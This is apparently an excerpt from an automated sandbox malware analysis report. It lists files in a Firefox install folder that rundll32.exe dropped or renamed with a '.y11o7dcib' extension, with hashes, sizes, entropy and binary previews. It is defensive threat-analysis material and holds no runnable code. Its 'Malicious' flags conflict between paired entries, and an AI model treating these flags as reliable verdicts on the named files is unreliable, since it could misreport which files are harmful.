MD5:	6F25C7B36542B9E3A1ED53B9D998B9FA
SHA1:	683BBB08FC891058CC56D59739AA51D915DB1A98
SHA-256:	4D55E45053F9872C0DB98AF204C0B9F761C729D1F8929B5C6F10487B1EB8821F
SHA-512:	94162EFCB453D30D9FEBFD8C25728B87DB1EA480CBFA21F0E23F9A5B70D6B2AF7ABA8340D908F0B878EBD4456DE9E0D67B953172B104A5FDA9539B7720F83938
Malicious:	true
Preview:	hG.$8..Ch.:l.c#].^8.A]/\T:..L._....T.K......Yo....6Ii...y..6E..........!..L.!This program cannot be run in DOS mode.$..PE..d......e.........." ......*......... {............................../..$9..Cl..l.g#]A...C]O..:..L._....T.K......Yo....6Ii...y..^E...Y......Kc........:......0:..M.......)....:.....\7.............................. .+.8............i...............................ib\M..C.$.l.s#]....AY/\.:..L._....T.K.>.j.-...Q5Ii......N...............@..@.data...............................@....pdata...M...0:..N..................@..@.00cfg..(.....:.................%..$y...B.U...O].^8.A..\.8..L.q....T.K......Yo....E;....!z..N.....................@..@.reloc........:.....................@..B................................................................%..$9..Cl.:l.c#].^8.A]/\.:..L._....T.K......Yo....6Ii...y..NE..................................................................................................................................%..$9..Cl.:l.c#].^8.A]/\.:..L._....T.K..

C:\Program Files\Mozilla Firefox\mozavcodec.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	3088602
Entropy (8bit):	7.369689223482822
Encrypted:	false
SSDEEP:
MD5:	6F25C7B36542B9E3A1ED53B9D998B9FA
SHA1:	683BBB08FC891058CC56D59739AA51D915DB1A98
SHA-256:	4D55E45053F9872C0DB98AF204C0B9F761C729D1F8929B5C6F10487B1EB8821F
SHA-512:	94162EFCB453D30D9FEBFD8C25728B87DB1EA480CBFA21F0E23F9A5B70D6B2AF7ABA8340D908F0B878EBD4456DE9E0D67B953172B104A5FDA9539B7720F83938
Malicious:	false
Preview:	hG.$8..Ch.:l.c#].^8.A]/\T:..L._....T.K......Yo....6Ii...y..6E..........!..L.!This program cannot be run in DOS mode.$..PE..d......e.........." ......*......... {............................../..$9..Cl..l.g#]A...C]O..:..L._....T.K......Yo....6Ii...y..^E...Y......Kc........:......0:..M.......)....:.....\7.............................. .+.8............i...............................ib\M..C.$.l.s#]....AY/\.:..L._....T.K.>.j.-...Q5Ii......N...............@..@.data...............................@....pdata...M...0:..N..................@..@.00cfg..(.....:.................%..$y...B.U...O].^8.A..\.8..L.q....T.K......Yo....E;....!z..N.....................@..@.reloc........:.....................@..B................................................................%..$9..Cl.:l.c#].^8.A]/\.:..L._....T.K......Yo....6Ii...y..NE..................................................................................................................................%..$9..Cl.:l.c#].^8.A]/\.:..L._....T.K..

C:\Program Files\Mozilla Firefox\mozavutil.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	215258
Entropy (8bit):	6.958248109001888
Encrypted:	false
SSDEEP:
MD5:	64C18358913C1D2E3F68253FE9B0ECEB
SHA1:	F5E4F61AF8359FFDA583802524034442ACAE0085
SHA-256:	65A97B16DF4475498BC0350D3B9DD374C464E328B1D5C0217CDA9590BC4C8892
SHA-512:	2D792F2B7ED72C547F5DABDF042AE5A48C4F3CF35770E0E1CEA72444CA0A283E6A46A3AC688A1F6A962DB2BA9E13D5D0F4A7C4A532B6B503F58AC571B23816AC
Malicious:	true
Preview:	).&.l.nU..a...?..Y._.n.......07..O....T._.).Y.7k.......4=d.}u-7........!..L.!This program cannot be run in DOS mode.$..PE..d......e.........." .........4.......$..............................n.^.m.nU..e...?.a.Z.]..Z......07..O....T._.).Y.7k.......4=d..u-7(...c$......................8........)......H...................................0...8...........(...............................J.;...nU..`...?..X._.n.......07..O....4.-dH.8.7........4/e...,7............@..@.data........ ......................@....pdata..8...........................@..@.00cfg..(.......................d.^.-.n..x..e.S..Y._rm.......37..O....T._.).Y.7E..m....>d....7....................@..@.reloc..H...........................@..B................................................................d.^.m.nU..a...?..Y._.n.......07..O....T._.).Y.7k.......4=d..u-7................................................................................................................................d.^.m.nU..a...?..Y._.n.......07..O....T

C:\Program Files\Mozilla Firefox\mozavutil.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	215258
Entropy (8bit):	6.958248109001888
Encrypted:	false
SSDEEP:
MD5:	64C18358913C1D2E3F68253FE9B0ECEB
SHA1:	F5E4F61AF8359FFDA583802524034442ACAE0085
SHA-256:	65A97B16DF4475498BC0350D3B9DD374C464E328B1D5C0217CDA9590BC4C8892
SHA-512:	2D792F2B7ED72C547F5DABDF042AE5A48C4F3CF35770E0E1CEA72444CA0A283E6A46A3AC688A1F6A962DB2BA9E13D5D0F4A7C4A532B6B503F58AC571B23816AC
Malicious:	false
Preview:	).&.l.nU..a...?..Y._.n.......07..O....T._.).Y.7k.......4=d.}u-7........!..L.!This program cannot be run in DOS mode.$..PE..d......e.........." .........4.......$..............................n.^.m.nU..e...?.a.Z.]..Z......07..O....T._.).Y.7k.......4=d..u-7(...c$......................8........)......H...................................0...8...........(...............................J.;...nU..`...?..X._.n.......07..O....4.-dH.8.7........4/e...,7............@..@.data........ ......................@....pdata..8...........................@..@.00cfg..(.......................d.^.-.n..x..e.S..Y._rm.......37..O....T._.).Y.7E..m....>d....7....................@..@.reloc..H...........................@..B................................................................d.^.m.nU..a...?..Y._.n.......07..O....T._.).Y.7k.......4=d..u-7................................................................................................................................d.^.m.nU..a...?..Y._.n.......07..O....T

C:\Program Files\Mozilla Firefox\mozglue.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	852186
Entropy (8bit):	7.234736843915953
Encrypted:	false
SSDEEP:
MD5:	DFA35CD146D7FA9E0E2F216466304243
SHA1:	0946462AF5E73B69AF912873F4ED20267CF0FB2D
SHA-256:	6FC5391CFBFB295DEE43EE117AE28D6BC8EF7467B3B485AE14972BE3D9012093
SHA-512:	53551C9B146908DCF3EEF83F82966759D44A7EBED6A48ED82CE820C3CEA06E1F8C6507847444E93301F4D4851143AC68165B5DBCBDA63EA939E375BF58A1CAF1
Malicious:	false
Preview:	.....o/.F.1.j.O KY;F/t.As.o...rt.<....Cr{..i.!..#.G....O..F4.M........!..L.!This program cannot be run in DOS mode.$..PE..d......e.........." .....R...\|.......................................D...o/..1.n.O.aT;D/.O.s.o...rt.<....Cr{..i.!..#.G....O...4.M'....^...g..T....`..........,........)...p.. ...$.......................`...(....p..8...........@p...............................0....o/1..1.z.O .R;F+t..s.o...rt.<....#\.i....!..".Gq...y..>b.M............@..@.data....2..........................@....pdata..,........0..................@..@.00cfg..(.... ...................D...oo.4.E...*8KY;F.y..q.o...rt.<....Cr{..i.!..O.G....O..>t.M....................@....voltbl......P...........................rsrc........`......................@..@.reloc.. ....p...........D...o/.F.1.j.. KY;F/t..s.o...rt.<....Cr{..i.!..#.G....O..>4.M.................................................................................................................................D...o/.F.1.j.O KY;F/t..s.o...rt.<....C

C:\Program Files\Mozilla Firefox\mozglue.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	852186
Entropy (8bit):	7.234736843915953
Encrypted:	false
SSDEEP:
MD5:	DFA35CD146D7FA9E0E2F216466304243
SHA1:	0946462AF5E73B69AF912873F4ED20267CF0FB2D
SHA-256:	6FC5391CFBFB295DEE43EE117AE28D6BC8EF7467B3B485AE14972BE3D9012093
SHA-512:	53551C9B146908DCF3EEF83F82966759D44A7EBED6A48ED82CE820C3CEA06E1F8C6507847444E93301F4D4851143AC68165B5DBCBDA63EA939E375BF58A1CAF1
Malicious:	false
Preview:	.....o/.F.1.j.O KY;F/t.As.o...rt.<....Cr{..i.!..#.G....O..F4.M........!..L.!This program cannot be run in DOS mode.$..PE..d......e.........." .....R...\|.......................................D...o/..1.n.O.aT;D/.O.s.o...rt.<....Cr{..i.!..#.G....O...4.M'....^...g..T....`..........,........)...p.. ...$.......................`...(....p..8...........@p...............................0....o/1..1.z.O .R;F+t..s.o...rt.<....#\.i....!..".Gq...y..>b.M............@..@.data....2..........................@....pdata..,........0..................@..@.00cfg..(.... ...................D...oo.4.E...*8KY;F.y..q.o...rt.<....Cr{..i.!..O.G....O..>t.M....................@....voltbl......P...........................rsrc........`......................@..@.reloc.. ....p...........D...o/.F.1.j.. KY;F/t..s.o...rt.<....Cr{..i.!..#.G....O..>4.M.................................................................................................................................D...o/.F.1.j.O KY;F/t..s.o...rt.<....C

C:\Program Files\Mozilla Firefox\mozwer.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	309466
Entropy (8bit):	7.112597502479868
Encrypted:	false
SSDEEP:
MD5:	64690EAE0709474FC3E81D945D18666E
SHA1:	CAC37A479AF564D24EAF7A00AED86E6A748C7644
SHA-256:	688EB3EE266B083D7D73DD738834153462D365E2F0C5D43DC6C40D2D0418AE3E
SHA-512:	B26BF1DE4223CDF2CF2A4ABD014420B953F642ACF02DC00C8361ED0DE28E94D4237B4C0E17E9438C704E8D24DE88D8C67BD01D3A6ED2A8A2A1E6D06EDC784EC2
Malicious:	false
Preview:	....ca..f$u.nE..`...f..V....Q....1.Yn=Y..r..,....u.sjc.h.MV(........!..L.!This program cannot be run in DOS mode.$..PE..d...I..e.........." .....:...N.......f.................................ba..b4p.nA.P.....D.V....Q..1.Yn=Y..r..,....u.sjc.hnMV(p.......S ..........x........ .......)......................................(....P..8............$..................................a....v.nU..Z...f..V....Q......Y..+.s...,...u..sji.h~sU(............@..@.data........`.......H..............@....pdata... ......."...T..............@..@.00cfg..(............v............."a..LP..nE..`..fb..T.....Q....1.Yn=Y..2...?.i....sZc.h~.R(.....z.................._RDATA...............\|..............@..@.rsrc...x............~..............@..@.reloc.....................ba..b$u..E...`...f..V....Q....1.Yn=Y..r..,....u.sjc.h~MV(...................................................................................................................................ba..b$u.nE..`...f..V....Q....1.Yn

C:\Program Files\Mozilla Firefox\mozwer.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	309466
Entropy (8bit):	7.112597502479868
Encrypted:	false
SSDEEP:
MD5:	64690EAE0709474FC3E81D945D18666E
SHA1:	CAC37A479AF564D24EAF7A00AED86E6A748C7644
SHA-256:	688EB3EE266B083D7D73DD738834153462D365E2F0C5D43DC6C40D2D0418AE3E
SHA-512:	B26BF1DE4223CDF2CF2A4ABD014420B953F642ACF02DC00C8361ED0DE28E94D4237B4C0E17E9438C704E8D24DE88D8C67BD01D3A6ED2A8A2A1E6D06EDC784EC2
Malicious:	false
Preview:	....ca..f$u.nE..`...f..V....Q....1.Yn=Y..r..,....u.sjc.h.MV(........!..L.!This program cannot be run in DOS mode.$..PE..d...I..e.........." .....:...N.......f.................................ba..b4p.nA.P.....D.V....Q..1.Yn=Y..r..,....u.sjc.hnMV(p.......S ..........x........ .......)......................................(....P..8............$..................................a....v.nU..Z...f..V....Q......Y..+.s...,...u..sji.h~sU(............@..@.data........`.......H..............@....pdata... ......."...T..............@..@.00cfg..(............v............."a..LP..nE..`..fb..T.....Q....1.Yn=Y..2...?.i....sZc.h~.R(.....z.................._RDATA...............\|..............@..@.rsrc...x............~..............@..@.reloc.....................ba..b$u..E...`...f..V....Q....1.Yn=Y..r..,....u.sjc.h~MV(...................................................................................................................................ba..b$u.nE..`...f..V....Q....1.Yn

C:\Program Files\Mozilla Firefox\msvcp140.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	DOS executable (COM)
Category:	dropped
Size (bytes):	567018
Entropy (8bit):	7.2460958102008375
Encrypted:	false
SSDEEP:
MD5:	C41544666064F55C9C186D0AD3780DA5
SHA1:	96718ADCC39AC68FAE9EA36F99D9BF692BBA42BB
SHA-256:	7671A5E5A80E016ED591121657FE8730F612FFE499D6377CCBE8905E285FB8FA
SHA-512:	5D04580CEFD8608E9B41BA29F5DDCC805BF1EB6FC2FC875B85479A05F10352F02932AB2C2F395FDB156764BD795512DD8EF4F49B998B346C2C3B6B96FBE5627F
Malicious:	false
Preview:	...'....8.T.U\|N[..$.@.".9.<.(.% ...........-.Sl.....d% y...:O........!..L.!This program cannot be run in DOS mode....$.......Y...................Z.........O.....O.....O........-...#...%......p8\.f-..> ..\|wI..W.t.....-.Sl.....d% y...:OPE..d...%\|.a.........." .....<...\.......)...................................................`A.....................................'..B.>..ZT\|.K....@.bm1..(.%P.........e..Sl...!..d..\|.H.:O............................8............P...............................text....;.......<.................. ..`.rdata..j....P.......g....8...U\|.[..d.@.L.X.].(.E...........5.Sl.....d% y.\.:..pdata...9...p...:...6..............@..@.rsrc................p..............@..@.reloc..0............t..............@..B.............'....8...U\|.[..$.@.b.9.<.(.% ...........-.Sl.....d% y...:O.....................................................................................................................................'....8...U\|.[..$.@.b.9.<.(.% ......

C:\Program Files\Mozilla Firefox\msvcp140.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	DOS executable (COM)
Category:	dropped
Size (bytes):	567018
Entropy (8bit):	7.2460958102008375
Encrypted:	false
SSDEEP:
MD5:	C41544666064F55C9C186D0AD3780DA5
SHA1:	96718ADCC39AC68FAE9EA36F99D9BF692BBA42BB
SHA-256:	7671A5E5A80E016ED591121657FE8730F612FFE499D6377CCBE8905E285FB8FA
SHA-512:	5D04580CEFD8608E9B41BA29F5DDCC805BF1EB6FC2FC875B85479A05F10352F02932AB2C2F395FDB156764BD795512DD8EF4F49B998B346C2C3B6B96FBE5627F
Malicious:	false
Preview:	...'....8.T.U\|N[..$.@.".9.<.(.% ...........-.Sl.....d% y...:O........!..L.!This program cannot be run in DOS mode....$.......Y...................Z.........O.....O.....O........-...#...%......p8\.f-..> ..\|wI..W.t.....-.Sl.....d% y...:OPE..d...%\|.a.........." .....<...\.......)...................................................`A.....................................'..B.>..ZT\|.K....@.bm1..(.%P.........e..Sl...!..d..\|.H.:O............................8............P...............................text....;.......<.................. ..`.rdata..j....P.......g....8...U\|.[..d.@.L.X.].(.E...........5.Sl.....d% y.\.:..pdata...9...p...:...6..............@..@.rsrc................p..............@..@.reloc..0............t..............@..B.............'....8...U\|.[..$.@.b.9.<.(.% ...........-.Sl.....d% y...:O.....................................................................................................................................'....8...U\|.[..$.@.b.9.<.(.% ......

C:\Program Files\Mozilla Firefox\notificationserver.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	62170
Entropy (8bit):	7.038884431640261
Encrypted:	false
SSDEEP:
MD5:	090BBC446F5727829FD6D0F8175E1143
SHA1:	05BF60460867F0669AFB2D376E0A05C66CD66629
SHA-256:	091911A5F2073BDED06674D4245FCC6BF06019FE5B12DC2D4EB0B98BC87B6685
SHA-512:	0D1700977323FC210578140648236C07E9BC424FF4BC1D169C0BE37BC720D861DFA2FDAA2738F82C3C338E6ECBC1CFC4973B790235EE626995AF37A04D6E82BD
Malicious:	false
Preview:	.Z_.s{.Q.2..-@~4f@..l.~\|.K...FA....A9....SV.w+..@...Z..&.#.........!..L.!This program cannot be run in DOS mode.$..PE..d......e.........." .....~...D.......{................................'.r{.Q.r..-D~4....n..=IK...FA....A9....SV.w+....@...Z..N.#. ............... ...................)...0......t.......................(...(.......8............................................tB..{.Q.O..-P~4f>..l.~\|IK...FA....A9{;t.2"dw+...@;..h..^6#.............@..@.data...............................@....pdata..............................@..@.00cfg..(.........................'.2{...F..-@~4o@..l..\|II...=FA....A9....S..w...4..Z..^."..........................rsrc........ ......................@..@.reloc.......0......................@..B..........................'.r{.Q.2..-@~4f@..l.~\|IK...FA....A9....SV.w+..@...Z..^.#...................................................................................................................................'.r{.Q.2..-@~4f@..l.~\|IK...FA....A9.

C:\Program Files\Mozilla Firefox\notificationserver.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	62170
Entropy (8bit):	7.038884431640261
Encrypted:	false
SSDEEP:
MD5:	090BBC446F5727829FD6D0F8175E1143
SHA1:	05BF60460867F0669AFB2D376E0A05C66CD66629
SHA-256:	091911A5F2073BDED06674D4245FCC6BF06019FE5B12DC2D4EB0B98BC87B6685
SHA-512:	0D1700977323FC210578140648236C07E9BC424FF4BC1D169C0BE37BC720D861DFA2FDAA2738F82C3C338E6ECBC1CFC4973B790235EE626995AF37A04D6E82BD
Malicious:	false
Preview:	.Z_.s{.Q.2..-@~4f@..l.~\|.K...FA....A9....SV.w+..@...Z..&.#.........!..L.!This program cannot be run in DOS mode.$..PE..d......e.........." .....~...D.......{................................'.r{.Q.r..-D~4....n..=IK...FA....A9....SV.w+....@...Z..N.#. ............... ...................)...0......t.......................(...(.......8............................................tB..{.Q.O..-P~4f>..l.~\|IK...FA....A9{;t.2"dw+...@;..h..^6#.............@..@.data...............................@....pdata..............................@..@.00cfg..(.........................'.2{...F..-@~4o@..l..\|II...=FA....A9....S..w...4..Z..^."..........................rsrc........ ......................@..@.reloc.......0......................@..B..........................'.r{.Q.2..-@~4f@..l.~\|IK...FA....A9....SV.w+..@...Z..^.#...................................................................................................................................'.r{.Q.2..-@~4f@..l.~\|IK...FA....A9.

C:\Program Files\Mozilla Firefox\nss3.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	2539738
Entropy (8bit):	7.188183968467111
Encrypted:	false
SSDEEP:
MD5:	51F8D3E098FD7160C78F11B3A23647FB
SHA1:	651538890E1A04795F6F80C0E941AA919DA4FAA1
SHA-256:	3F21A45C20663B4C0F07F83DB8E18B3B176FFA12B440A39705B515003A4DE2DC
SHA-512:	59ADACE72C7C8489F13CE863B694D774567E2A1C05259341B55F07EBB720C62801377F024869EF34B5C7CBA3B9120A79B903ADAE29397994D52E082BE8489900
Malicious:	false
Preview:	...'....ea?.9.K0n......d..2....[.6...-.....4.=.&>..R(.E..~..Z.........!..L.!This program cannot be run in DOS mode.$..PE..d......e.........." .....&!..j.....................................i..'....EF?.=.KQ.&.....$..2....[.6...-.....4.=.&...R(.E..~..Z.(.$.....J%.T.....&.x.... &.......&..)....&.4(....$..............................@!.8...........0U%.......$.@...................M.._...A@?.).K0H!.....$..2....[.6...-\|....@.=.zt.....E..~..{.............@..@.data.........%..R...v%.............@....pdata....... &.......%.............@..@.00cfg..(.....&......d&.........c..'......St[.K+n...L..$..2....[.6...-.....4.=..L...R(.=..~.-\|......h&.............@..@.reloc..4(....&.....l&.............@..B................................................................c..'....ea?.9.K0n......$..2....[.6...-.....4.=.&>..R(.E..~..Z.................................................................................................................................c..'....ea?.9.K0n......$..2....[.6...-.

C:\Program Files\Mozilla Firefox\nss3.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	2539738
Entropy (8bit):	7.188183968467111
Encrypted:	false
SSDEEP:
MD5:	51F8D3E098FD7160C78F11B3A23647FB
SHA1:	651538890E1A04795F6F80C0E941AA919DA4FAA1
SHA-256:	3F21A45C20663B4C0F07F83DB8E18B3B176FFA12B440A39705B515003A4DE2DC
SHA-512:	59ADACE72C7C8489F13CE863B694D774567E2A1C05259341B55F07EBB720C62801377F024869EF34B5C7CBA3B9120A79B903ADAE29397994D52E082BE8489900
Malicious:	false
Preview:	...'....ea?.9.K0n......d..2....[.6...-.....4.=.&>..R(.E..~..Z.........!..L.!This program cannot be run in DOS mode.$..PE..d......e.........." .....&!..j.....................................i..'....EF?.=.KQ.&.....$..2....[.6...-.....4.=.&...R(.E..~..Z.(.$.....J%.T.....&.x.... &.......&..)....&.4(....$..............................@!.8...........0U%.......$.@...................M.._...A@?.).K0H!.....$..2....[.6...-\|....@.=.zt.....E..~..{.............@..@.data.........%..R...v%.............@....pdata....... &.......%.............@..@.00cfg..(.....&......d&.........c..'......St[.K+n...L..$..2....[.6...-.....4.=..L...R(.=..~.-\|......h&.............@..@.reloc..4(....&.....l&.............@..B................................................................c..'....ea?.9.K0n......$..2....[.6...-.....4.=.&>..R(.E..~..Z.................................................................................................................................c..'....ea?.9.K0n......$..2....[.6...-.

C:\Program Files\Mozilla Firefox\nssckbi.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	383706
Entropy (8bit):	7.594704880143686
Encrypted:	false
SSDEEP:
MD5:	675F8B8337D9B99E97898E6C001953B5
SHA1:	99E0264865FC121014BC4C51C0117B80B108677E
SHA-256:	A513ECEB9579D8E3B10604953545A88F80048BD0941E175E870C3D6E8963DC91
SHA-512:	AC3D1CDB0D75F3B79444F10DC2BB5A3D1F3CADAC99DE41328652F9223789DFBE80A414D18CAF902E17D1B914B3570896A0BB6842AE979F285EEF402EEAA37001
Malicious:	false
Preview:	Vau[....b..- .w.....1.K@:..]...:.y..2Y8P........W....%...y.........!..L.!This program cannot be run in DOS mode.$..PE..d...7..e.........." ................................................;.[+....d..) ......Q..@..]...:.y..2Y(P........W....%.j.y.p..P....q..d.......x.......l........)......`....j......................`j..(...@...8...........Xs..............................5Oh#_...fKc..= .w....1..@:..]...:.y...+\1.d...!.....K&.z4x.............@..@.data...:...........................@....pdata..l...........................@..@.00cfg..(........................;.[k.......- .......4..B:...X...:.y..2Y8P...V....5....%.z.\|..........................rsrc...x...........................@..@.reloc..`...........................@..B.........................;.[+....b..- .w.....1..@:..]...:.y..2Y8P........W....%.z.y..................................................................................................................................;.[+....b..- .w.....1..@:..]...:.y..

C:\Program Files\Mozilla Firefox\nssckbi.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	383706
Entropy (8bit):	7.594704880143686
Encrypted:	false
SSDEEP:
MD5:	675F8B8337D9B99E97898E6C001953B5
SHA1:	99E0264865FC121014BC4C51C0117B80B108677E
SHA-256:	A513ECEB9579D8E3B10604953545A88F80048BD0941E175E870C3D6E8963DC91
SHA-512:	AC3D1CDB0D75F3B79444F10DC2BB5A3D1F3CADAC99DE41328652F9223789DFBE80A414D18CAF902E17D1B914B3570896A0BB6842AE979F285EEF402EEAA37001
Malicious:	false
Preview:	Vau[....b..- .w.....1.K@:..]...:.y..2Y8P........W....%...y.........!..L.!This program cannot be run in DOS mode.$..PE..d...7..e.........." ................................................;.[+....d..) ......Q..@..]...:.y..2Y(P........W....%.j.y.p..P....q..d.......x.......l........)......`....j......................`j..(...@...8...........Xs..............................5Oh#_...fKc..= .w....1..@:..]...:.y...+\1.d...!.....K&.z4x.............@..@.data...:...........................@....pdata..l...........................@..@.00cfg..(........................;.[k.......- .......4..B:...X...:.y..2Y8P...V....5....%.z.\|..........................rsrc...x...........................@..@.reloc..`...........................@..B.........................;.[+....b..- .w.....1..@:..]...:.y..2Y8P........W....%.z.y..................................................................................................................................;.[+....b..- .w.....1..@:..]...:.y..

C:\Program Files\Mozilla Firefox\omni.ja

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	32908796
Entropy (8bit):	6.95808487021508
Encrypted:	false
SSDEEP:
MD5:	09390DDD85E37275DDD7910FA674B8F6
SHA1:	33C10EC9366CD2C826F2992830D0A8D38C568812
SHA-256:	7AD0CE8D9D54D2C5F9AB948388A31105DC2907C292672A02C37761BFFF2CE4D0
SHA-512:	69F053852010716D7E8DDC72D3B45160280B65D73CF671FF09E5135BA97020332119713C5044D19A5E01D26D28AA1606D7D1D4DDABD46326712F45E435CCA4BB
Malicious:	false
Preview:	r...#..............;.`8../....R.w....,......M..>~_.>.a......(...........!<..Y.H...H.....................chrome.manifestPK............!<...z...z.................s...chrome/chrome.manifestPK....yP.......LQ.6..).T../....Y.w...".0...:..e.[7A.-.b...q.B#.......!<W.........................R...res/multilocale.txtPK............!<...Bg...g.....................components/components.ma...\|.$..............v.=!..l.Y.X....,....O.C....-.&.j......z/locale/en-US/global/css.propertiesPK............!<b@..u...u.../..............7..chrome/en-US/locale/en-US/global/xul.properties.]..gS.......:.W..B&.T../....Y.w....,.h(.K..l.QtH.+..R..... Ee/en-US/global/layout_errors.propertiesPK............!<..........;..............G..chrome/en-US/locale/en-US/global/layout/Htm.P.k.~.......~......T../...&.d.C..,....{....>.-.N..E..w."Arome/en-US/locale/en-US/global/printing.propertiesPK............!<X.[.........3.............[Q..chrome/en-US/locale/en-US/global.r.t\4......i....(.@../....Y.K.`I.

C:\Program Files\Mozilla Firefox\omni.ja.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	32908796
Entropy (8bit):	6.95808487021508
Encrypted:	false
SSDEEP:
MD5:	09390DDD85E37275DDD7910FA674B8F6
SHA1:	33C10EC9366CD2C826F2992830D0A8D38C568812
SHA-256:	7AD0CE8D9D54D2C5F9AB948388A31105DC2907C292672A02C37761BFFF2CE4D0
SHA-512:	69F053852010716D7E8DDC72D3B45160280B65D73CF671FF09E5135BA97020332119713C5044D19A5E01D26D28AA1606D7D1D4DDABD46326712F45E435CCA4BB
Malicious:	false
Preview:	r...#..............;.`8../....R.w....,......M..>~_.>.a......(...........!<..Y.H...H.....................chrome.manifestPK............!<...z...z.................s...chrome/chrome.manifestPK....yP.......LQ.6..).T../....Y.w...".0...:..e.[7A.-.b...q.B#.......!<W.........................R...res/multilocale.txtPK............!<...Bg...g.....................components/components.ma...\|.$..............v.=!..l.Y.X....,....O.C....-.&.j......z/locale/en-US/global/css.propertiesPK............!<b@..u...u.../..............7..chrome/en-US/locale/en-US/global/xul.properties.]..gS.......:.W..B&.T../....Y.w....,.h(.K..l.QtH.+..R..... Ee/en-US/global/layout_errors.propertiesPK............!<..........;..............G..chrome/en-US/locale/en-US/global/layout/Htm.P.k.~.......~......T../...&.d.C..,....{....>.-.N..E..w."Arome/en-US/locale/en-US/global/printing.propertiesPK............!<X.[.........3.............[Q..chrome/en-US/locale/en-US/global.r.t\4......i....(.@../....Y.K.`I.

C:\Program Files\Mozilla Firefox\osclientcerts.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	380634
Entropy (8bit):	7.1353100228924955
Encrypted:	false
SSDEEP:
MD5:	073647A787133F9841797361478F25DA
SHA1:	9183BC38E61D75E94A047BAABF04C4BB8B6AE2E6
SHA-256:	28F83C1C9A523AECD71FB2E4E57B9EE1B8D3271E8FB0335E67C1287A571550B4
SHA-512:	36F4FCFCB235187AD8B9B6E7C99BF2D959EB146B9B3DE0836BF815F4A1B7BB71966F1F4AB9A7842B658189D43191B206D33C9FA14E3A5A1088119BF621A98593
Malicious:	false
Preview:	.{.!..h.>.U;..].d..l..!.M[Dv..8.<..@..'"Z.....H@....<qM)....Z........!..L.!This program cannot be run in DOS mode.$..PE..d...C..e.........." .....n...0.......................................!`!..h...U;..]....n..`.MKDv..8.,..@..'"Z.....H@....<qM)..Z.2..V....3...................$.......)......\....(.......................(..(.......8............6...............................U.Y...h.R.U;..]....l..!.M[Dv..8.<..`..G.(...O.H......<q.)...Z............@..@.data...(............d..............@....pdata...$.......&...h..............@..@.00cfg..(........................!`!...(.J.&;..].d..l.!.O[Dv\.8.<..@..'"Z......n......<}M)..~.Z.........................rsrc...............................@..@.reloc..\...........................@..B.........................!`!..h.>.U;..].d..l..!.M[Dv..8.<..@..'"Z.....H@....<qM)....Z.................................................................................................................................!`!..h.>.U;..].d..l..!.M[Dv..8.<..@..'

C:\Program Files\Mozilla Firefox\osclientcerts.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	380634
Entropy (8bit):	7.1353100228924955
Encrypted:	false
SSDEEP:
MD5:	073647A787133F9841797361478F25DA
SHA1:	9183BC38E61D75E94A047BAABF04C4BB8B6AE2E6
SHA-256:	28F83C1C9A523AECD71FB2E4E57B9EE1B8D3271E8FB0335E67C1287A571550B4
SHA-512:	36F4FCFCB235187AD8B9B6E7C99BF2D959EB146B9B3DE0836BF815F4A1B7BB71966F1F4AB9A7842B658189D43191B206D33C9FA14E3A5A1088119BF621A98593
Malicious:	false
Preview:	.{.!..h.>.U;..].d..l..!.M[Dv..8.<..@..'"Z.....H@....<qM)....Z........!..L.!This program cannot be run in DOS mode.$..PE..d...C..e.........." .....n...0.......................................!`!..h...U;..]....n..`.MKDv..8.,..@..'"Z.....H@....<qM)..Z.2..V....3...................$.......)......\....(.......................(..(.......8............6...............................U.Y...h.R.U;..]....l..!.M[Dv..8.<..`..G.(...O.H......<q.)...Z............@..@.data...(............d..............@....pdata...$.......&...h..............@..@.00cfg..(........................!`!...(.J.&;..].d..l.!.O[Dv\.8.<..@..'"Z......n......<}M)..~.Z.........................rsrc...............................@..@.reloc..\...........................@..B.........................!`!..h.>.U;..].d..l..!.M[Dv..8.<..@..'"Z.....H@....<qM)....Z.................................................................................................................................!`!..h.>.U;..].d..l..!.M[Dv..8.<..@..'

C:\Program Files\Mozilla Firefox\pingsender.exe

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	81114
Entropy (8bit):	7.287572232213997
Encrypted:	false
SSDEEP:
MD5:	4091D2435F3DE8C26126A6B8B19E7F03
SHA1:	D4A8F7F6AA9E5952AA2D31B056C0E45FE93ACBAE
SHA-256:	392D23C2F3DA69FD4CD79F4022BFB0F360E10A149E255FBBC5A7D7D4FF58620D
SHA-512:	906F12C45358381A43914DE8D640417EC4A6CFF5D3B9DE9852E7CD4D73AAE38A740DEF7D674FD15CA3CE7CA775CD0A4307765EF51EE27C185ABFC0F8A5CC332C
Malicious:	false
